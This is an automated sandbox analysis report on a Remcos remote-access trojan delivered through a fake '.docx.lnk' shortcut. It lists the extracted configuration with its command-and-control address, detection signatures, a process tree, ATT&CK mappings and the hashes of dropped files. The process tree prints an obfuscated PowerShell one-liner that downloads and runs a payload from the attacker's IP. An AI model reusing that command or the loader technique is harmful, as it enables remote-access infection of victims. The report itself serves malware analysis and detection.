remcos | 0973bf4ab963c2de6c69c3809ed228f0caf00409f4c09e78029640f2026dc19e

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
31/08/2024, 01:02

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General

Target

oshad_88.docx.lnk
Size

15KB
MD5

b8fb0340c7a12ae9d4a3847ac14308cb
SHA1

4675f3d8a12942068e609fd2f12f2f020fe5762e
SHA256

a2bfa5db078137d391b392758fca56b34c8d3c9b0a7e23b1ba9fa9a2edf91000
SHA512

d9504ca3211e14412ba697d43983e21d100143c5a68be1799e74a704ac76ee6dc999aef09bcd10fb87b9b975bd8184815b6fc2e90ebd96e4f737244a6546d6b0
SSDEEP

48:88muavUQSEfFy63YMEDo/atNixCyQvGDDo/DBdCZZGXu/dZZIa7x:88y8GFy63hXEIxCyQ/zuqQ

Score

10^/10

remcos feetfuck discovery rat

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

83.222.191.201:24251

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XTJ1YO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	404	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
5068	Newfts.exe
4972	Newfts.exe

Loads dropped DLL 8 IoCs

pid	Process
5068	Newfts.exe
5068	Newfts.exe
5068	Newfts.exe
5068	Newfts.exe
4972	Newfts.exe
4972	Newfts.exe
4972	Newfts.exe
4972	Newfts.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4972 set thread context of 4568	4972	Newfts.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Newfts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Newfts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3812	WINWORD.EXE
3812	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
404	powershell.exe
404	powershell.exe
5068	Newfts.exe
4972	Newfts.exe
4972	Newfts.exe
4568	cmd.exe
4568	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4972	Newfts.exe
4568	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	404	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE
3812	WINWORD.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 404	2992	cmd.exe	85
PID 2992 wrote to memory of 404	2992	cmd.exe	85
PID 404 wrote to memory of 5068	404	powershell.exe	96
PID 404 wrote to memory of 5068	404	powershell.exe	96
PID 404 wrote to memory of 5068	404	powershell.exe	96
PID 404 wrote to memory of 3812	404	powershell.exe	97
PID 404 wrote to memory of 3812	404	powershell.exe	97
PID 5068 wrote to memory of 4972	5068	Newfts.exe	98
PID 5068 wrote to memory of 4972	5068	Newfts.exe	98
PID 5068 wrote to memory of 4972	5068	Newfts.exe	98
PID 4972 wrote to memory of 4568	4972	Newfts.exe	99
PID 4972 wrote to memory of 4568	4972	Newfts.exe	99
PID 4972 wrote to memory of 4568	4972	Newfts.exe	99
PID 4972 wrote to memory of 4568	4972	Newfts.exe	99
PID 4568 wrote to memory of 624	4568	cmd.exe	107
PID 4568 wrote to memory of 624	4568	cmd.exe	107
PID 4568 wrote to memory of 624	4568	cmd.exe	107
PID 4568 wrote to memory of 624	4568	cmd.exe	107
PID 4568 wrote to memory of 624	4568	cmd.exe	107

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\oshad_88.docx.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo sviYiTDifmVgwUmQzFgOPYIV; echo JzJdBqRYxLImYrcCLbpdqvjXsIJfpWlZfWY; echo ZKgorOmcNJZZMbukHvugkdfvZrLIe; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo SRChLBIQjesWVTeXbGypCUPpLnWGEpbzmlAuNYge; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo tAtLAczHKJaDGfRcGQexTEXSHDzsHxFvifZtnswW; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/oshad_88.docx -OutFile oshad_88.docx; echo SQwXgOGQnSfQxMfeOlQMGbil; s''t''a''rt oshad_88.docx
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
      C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4972
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4568
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:624
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\oshad_88.docx" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:3812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD49BD.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ursgyx5.gil.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c47b6b2f

Filesize
1.2MB

MD5
3115302e2b5fe948bc1688f640c95f04

SHA1
2a4c6da043fd62311f7e0be9386a61d950c0d8f1

SHA256
e17d46519af0013d5d98cfccbe48067f194c75bab3a6abe570045a2b26c433be

SHA512
c7a026fffe3e8c55de78b482e6aebecc5fce7b2703b1ad0a890f70d76f965c4f95acff78bbff0427492fc466af7c8d66fe85c8cb40ddc2c051f6b0868a91ea76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
405B

MD5
76aef0f3b84edde82ebcd68680836ee4

SHA1
b3e649d6ca499d05ad8f498d805d911304f2db8f

SHA256
e1ad71ad7b8fe9b523d3efcf2e389391432f5eee6387583a758bd76ca0bc9487

SHA512
58a39f935074cac4fa7e427343717dd6f0a1a62b1f4eb97e3a2054cbf0d52a2b2d1f49bcfd2c6ee3841326ec272795e1665df701a97e88773eb720a2886692d8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
f82d947e42dcaa7a325b10d6f4affa41

SHA1
d4bdf3ceb8db07786da82359d5fddd7ff8945878

SHA256
915eb03548d9c37df4261747b03c8a8cd545d3249a09188379f40c71a5dc5179

SHA512
30e60445f8cd4b21bfe0f45bb9db26971c363a6bfb8b2aa573750b17002c27c357a6fcb5c15e4d866afd122aa0c0e924a3c0c69fca3b879ba78f35617b7b9f2a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
4KB

MD5
38b2ee31d14be5eda8b801aca218356b

SHA1
9789daefb6a05af310243c5d815b79bcb302599e

SHA256
fe4ce08aa8169b34b39073eb9fd3d8b0d8daf4306bde42a878a27faba8914b63

SHA512
7cda57ecff74d4eeeb52df7675bb7e240da72884fb9bd0449069742871e492659d459404e8908e20c84e877e6a6055e6bb269ff182abec33fbf7dcc61b1524e6

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

Filesize
2.1MB

MD5
db7e67835fce6cf9889f0f68ca9c29a9

SHA1
5565afda37006a66f0e4546105be60bbe7970616

SHA256
dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

SHA512
bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

Filesize
1.1MB

MD5
59c15c71fd599ff745a862d0b8932919

SHA1
8384f88b4cac4694cf510ca0d3f867fd83cc9e18

SHA256
c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

SHA512
be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

Filesize
1.4MB

MD5
6fdb2e9ca6b7a5ad510e2b29831e3bc8

SHA1
4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

SHA256
f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

SHA512
d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

Filesize
31KB

MD5
5dc69a3e2fda6cb740f363ef77edcc13

SHA1
c177fabf17346531e07d562be11915bf2822148a

SHA256
7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

SHA512
b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

Download Submit
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\nywrof

Filesize
1.0MB

MD5
471076308d78944d45ab35d37134134a

SHA1
05cf2cf6e5d11ce10425b14d68cda3246cc47263

SHA256
38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

SHA512
7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

Download Submit
C:\Users\Admin\AppData\Roaming\oshad_88.docx

Filesize
15KB

MD5
35a1aa0fc4972286c1db07e513c3abbc

SHA1
89f5e48e02a03978cd7931651518472c38a7b272

SHA256
be338409f57304177e56712593a9345b54d8361ef1fdc767a2fc683a6508cb4e

SHA512
f111c86ea937763d091ed195507ee9b3bc95854e22bf31142a9e96bdeb5c273f91f803ea463f8296d5ce611de3a9d959e993fbc03261022a074a203d14ad29c4

Download Submit
memory/404-53-0x000002885BB20000-0x000002885BD3C000-memory.dmp

Filesize
2.1MB

Download
memory/404-17-0x000002885BB20000-0x000002885BD3C000-memory.dmp

Filesize
2.1MB

Download
memory/404-16-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

Filesize
10.8MB

Download
memory/404-21-0x000002885BE60000-0x000002885BE6A000-memory.dmp

Filesize
40KB

Download
memory/404-19-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

Filesize
10.8MB

Download
memory/404-2-0x00007FFD399F3000-0x00007FFD399F5000-memory.dmp

Filesize
8KB

Download
memory/404-15-0x00007FFD399F3000-0x00007FFD399F5000-memory.dmp

Filesize
8KB

Download
memory/404-14-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

Filesize
10.8MB

Download
memory/404-64-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

Filesize
10.8MB

Download
memory/404-13-0x00007FFD399F0000-0x00007FFD3A4B1000-memory.dmp

Filesize
10.8MB

Download
memory/404-12-0x000002885BE70000-0x000002885BE92000-memory.dmp

Filesize
136KB

Download
memory/404-20-0x000002885C240000-0x000002885C252000-memory.dmp

Filesize
72KB

Download
memory/624-273-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/624-267-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/624-300-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/624-263-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

Filesize
2.0MB

Download
memory/624-274-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/624-264-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/624-299-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/624-268-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/3812-296-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-70-0x00007FFD15480000-0x00007FFD15490000-memory.dmp

Filesize
64KB

Download
memory/3812-61-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-60-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-59-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-294-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-293-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-67-0x00007FFD15480000-0x00007FFD15490000-memory.dmp

Filesize
64KB

Download
memory/3812-63-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-65-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/3812-295-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp

Filesize
64KB

Download
memory/4568-142-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4568-261-0x00000000743B0000-0x000000007452B000-memory.dmp

Filesize
1.5MB

Download
memory/4972-91-0x00000000743B0000-0x000000007452B000-memory.dmp

Filesize
1.5MB

Download
memory/4972-93-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

Filesize
2.0MB

Download
memory/4972-115-0x0000000000400000-0x0000000000669000-memory.dmp

Filesize
2.4MB

Download
memory/4972-117-0x0000000002E20000-0x0000000002F92000-memory.dmp

Filesize
1.4MB

Download
memory/4972-84-0x0000000002A80000-0x0000000002B9E000-memory.dmp

Filesize
1.1MB

Download
memory/4972-136-0x00000000743B0000-0x000000007452B000-memory.dmp

Filesize
1.5MB

Download
memory/4972-116-0x0000000002A80000-0x0000000002B9E000-memory.dmp

Filesize
1.1MB

Download
memory/4972-88-0x0000000002E20000-0x0000000002F92000-memory.dmp

Filesize
1.4MB

Download
memory/5068-47-0x0000000002C60000-0x0000000002D7E000-memory.dmp

Filesize
1.1MB

Download
memory/5068-68-0x00007FFD57AD0000-0x00007FFD57CC5000-memory.dmp

Filesize
2.0MB

Download
memory/5068-79-0x0000000002C60000-0x0000000002D7E000-memory.dmp

Filesize
1.1MB

Download
memory/5068-66-0x00000000743B0000-0x000000007452B000-memory.dmp

Filesize
1.5MB

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memory/5068-80-0x0000000002FC0000-0x0000000003132000-memory.dmp

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1.4MB

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memory/5068-78-0x0000000000400000-0x0000000000669000-memory.dmp

Filesize
2.4MB

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memory/5068-57-0x0000000002FC0000-0x0000000003132000-memory.dmp

Filesize
1.4MB

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